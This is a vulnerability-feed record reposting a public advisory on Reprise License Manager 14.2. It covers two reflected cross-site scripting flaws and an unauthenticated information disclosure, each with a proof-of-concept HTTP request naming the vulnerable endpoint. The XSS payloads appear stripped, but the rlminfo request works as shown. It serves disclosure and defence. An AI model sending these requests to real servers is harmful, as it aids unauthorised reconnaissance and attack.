{"uuid": "ffced1e7-0154-4f94-8abb-f7eb4c52d8f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-28363", "type": "seen", "source": "https://t.me/hacking_Attack/49269", "content": "Exploit Collector\nReprise License Manager 14.2 Cross Site Scripting / Information Disclosure\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Reprise License Manager version 14.2 suffers from cross site scripting and information disclosure vulnerabilities.\n\nMD5 | cc55ae7d1b402036a9e2e82e2e0c4ea4Download Multiple Vulnerabilities in Reprise License Manager 14.2\n\nCredit: Giulia Melotti Garibaldi\n\n//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28363\n# Vulnerability Title: Reflected Cross-Site Scripting\n# Severity: Medium\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/login_process \"username\" parameter via GET. No authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/login_process?username=admin&password=admin&ok=LOGIN HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 38\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goform/login_process\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28364\n# Vulnerability Title: Authenticated Reflected Cross-Site Scripting\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by a reflected cross-site scripting vulnerability (XSS) in the /goform/rlmswitchr_process \"file\" parameter via GET. Authentication is required.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goform/rlmswitchr_process?file= HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/x-www-form-urlencoded\nOrigin: http://HOST:5054\nConnection: keep-alive\nReferer: http://HOST:5054/goforms/rlmswitchr\nCookie: REDACTED\n/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n# Product:  RLM 14.2\n# Vendor:   Reprise Software\n# CVE ID:   CVE-2022-28365\n# Vulnerability Title: Unauthenticated Information Disclosure\n# Severity: Low\n# Author(s): Giulia Melotti Garibaldi\n# Date:     2022-03-29\n#\n#############################################################\nIntroduction:\nReprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required.\nThe information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information.\n\nVulnerability PoC:\n\nGET http://HOST:5054/goforms/rlminfo HTTP/1.1\nHost: HOST:5054\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nConnection: keep-alive\nContent-Length: 0\n////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Source:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:59.615473Z"}